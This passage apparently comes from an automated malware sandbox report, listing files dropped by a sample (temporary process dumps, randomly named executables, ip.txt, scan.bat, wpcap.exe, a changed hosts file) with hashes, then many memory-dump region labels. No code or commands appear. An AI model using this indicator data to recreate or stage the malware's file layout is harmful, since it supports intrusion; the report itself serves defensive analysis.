                                                                    • Path C:\Windows\TEMP\ncatlbinb\1948.dmp
                                                                    • Size 6.6MB
                                                                    • SHA256 246e74313633db854526786c5a820eb0305befa34bf49555d624d9c465911b20
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2428.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\2428.dmp
                                                                    • Size 843KB
                                                                    • SHA256 4640014c32ec4f67cce5aa071a37e510bf755a0d1592636a68037c9812e030a6
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    308.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\308.dmp
                                                                    • Size 4.6MB
                                                                    • SHA256 4d8b141fdcbe8e1c1adc02c9b3ece11da6aff82bded9d10d6d84203fc743af27
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    800.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\800.dmp
                                                                    • Size 4.0MB
                                                                    • SHA256 5a9a099011bf55482e30dc8a1fdf7d2d6bf9e26a799eb870f5ceed0bee504381
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    qnmtmn.exe

                                                                    • Path C:\Windows\Temp\jirbymkef\qnmtmn.exe
                                                                    • Size 343KB
                                                                    • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    nkzsffpiu.exe

                                                                    • Path C:\Windows\Temp\ncatlbinb\nkzsffpiu.exe
                                                                    • Size 126KB
                                                                    • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    xohudmc.exe

                                                                    • Path C:\Windows\Temp\xohudmc.exe
                                                                    • Size 72KB
                                                                    • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    vfshost.exe

                                                                    • Path C:\Windows\ncatlbinb\Corporate\vfshost.exe
                                                                    • Size 381KB
                                                                    • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    ip.txt

                                                                    • Path C:\Windows\ncatlbinb\tkblimsfb\ip.txt
                                                                    • Size 195B
                                                                    • SHA256 dce6773e5c70935ed06baf09ee79fbfaff28864ae0de4b5a2c8f57fd3322fe2b
                                                                    • MD5 SHA1 SHA512

                                                                    nqqitriut.exe

                                                                    • Path C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe
                                                                    • Size 332KB
                                                                    • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    scan.bat

                                                                    • Path C:\Windows\ncatlbinb\tkblimsfb\scan.bat
                                                                    • Size 159B
                                                                    • SHA256 61dd66f04d9cec5945c164438a4796c44188bb5bfa82f069c9f7331e9c37dbe1
                                                                    • MD5 SHA1 SHA512

                                                                    wpcap.exe

                                                                    • Path C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe
                                                                    • Size 424KB
                                                                    • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    hosts

                                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                                    • Size 975B
                                                                    • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                    • MD5 SHA1 SHA512

                                                                    System.dll

                                                                    • Path \Windows\Temp\nsu5D20.tmp\System.dll
                                                                    • Size 11KB
                                                                    • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    nsExec.dll

                                                                    • Path \Windows\Temp\nsu5D20.tmp\nsExec.dll
                                                                    • Size 6KB
                                                                    • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    ttyuieu.exe

                                                                    • Path \Windows\aqivbpuf\ttyuieu.exe
                                                                    • Size 8.8MB
                                                                    • SHA256 bd91391b80e4d89bd61fe44ce06f2ae502d5edb0b819e2c57904179fa1ac3308
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    qbntfpebj.exe

                                                                    • Path \Windows\ncatlbinb\tkblimsfb\qbntfpebj.exe
                                                                    • Size 63KB
                                                                    • SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    memory/588-193-0x00000000019A0000-0x00000000019FB000-memory.dmp

                                                                    memory/588-145-0x0000000002470000-0x00000000024CB000-memory.dmp

                                                                    memory/588-215-0x0000000002470000-0x00000000024CB000-memory.dmp

                                                                    memory/588-214-0x00000000024B0000-0x000000000250B000-memory.dmp

                                                                    memory/588-202-0x00000000024B0000-0x000000000250B000-memory.dmp

                                                                    memory/588-161-0x0000000002470000-0x00000000024CB000-memory.dmp

                                                                    memory/588-150-0x0000000002980000-0x0000000002AA0000-memory.dmp

                                                                    memory/588-212-0x0000000002980000-0x0000000002AA0000-memory.dmp

                                                                    memory/588-233-0x00000000024B0000-0x000000000250B000-memory.dmp

                                                                    memory/588-208-0x0000000002470000-0x00000000024CB000-memory.dmp

                                                                    memory/588-224-0x00000000019A0000-0x00000000019FB000-memory.dmp

                                                                    memory/588-226-0x00000000024B0000-0x000000000250B000-memory.dmp

                                                                    memory/708-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/708-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/888-188-0x000000013FCB0000-0x000000013FD0B000-memory.dmp

                                                                    memory/888-162-0x000000013FCB0000-0x000000013FD0B000-memory.dmp

                                                                    memory/1636-146-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                    memory/1636-156-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                    memory/1668-236-0x000000013F600000-0x000000013F65B000-memory.dmp

                                                                    memory/1748-196-0x000000013F890000-0x000000013F8EB000-memory.dmp

                                                                    memory/1748-194-0x000000013F890000-0x000000013F8EB000-memory.dmp

                                                                    memory/1808-75-0x00000000004C0000-0x000000000050C000-memory.dmp

                                                                    memory/1820-171-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                    memory/1820-185-0x0000000000400000-0x0000000000412000-memory.dmp

                                                                    memory/2000-253-0x0000000000170000-0x0000000000182000-memory.dmp

                                                                    memory/2052-227-0x000000013F140000-0x000000013F19B000-memory.dmp

                                                                    memory/2052-229-0x000000013F140000-0x000000013F19B000-memory.dmp

                                                                    memory/2380-206-0x000000013FBB0000-0x000000013FC0B000-memory.dmp

                                                                    memory/2380-203-0x000000013FBB0000-0x000000013FC0B000-memory.dmp

                                                                    memory/2460-271-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-240-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-221-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-270-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-269-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-256-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-198-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-272-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-238-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-239-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-153-0x00000000003D0000-0x00000000003E0000-memory.dmp

                                                                    memory/2460-213-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2460-151-0x000000013F8C0000-0x000000013F9E0000-memory.dmp

                                                                    memory/2568-255-0x0000000000B90000-0x0000000000BA2000-memory.dmp

                                                                    memory/2728-140-0x000000013FC20000-0x000000013FD0E000-memory.dmp

                                                                    memory/2728-135-0x000000013FC20000-0x000000013FD0E000-memory.dmp

                                                                    memory/2748-9-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/2936-219-0x000000013FB70000-0x000000013FBCB000-memory.dmp

                                                                    memory/2936-216-0x000000013FB70000-0x000000013FBCB000-memory.dmp

                                                                    memory/3000-134-0x0000000000510000-0x00000000005FE000-memory.dmp

                                                                    memory/3000-132-0x0000000000510000-0x00000000005FE000-memory.dmp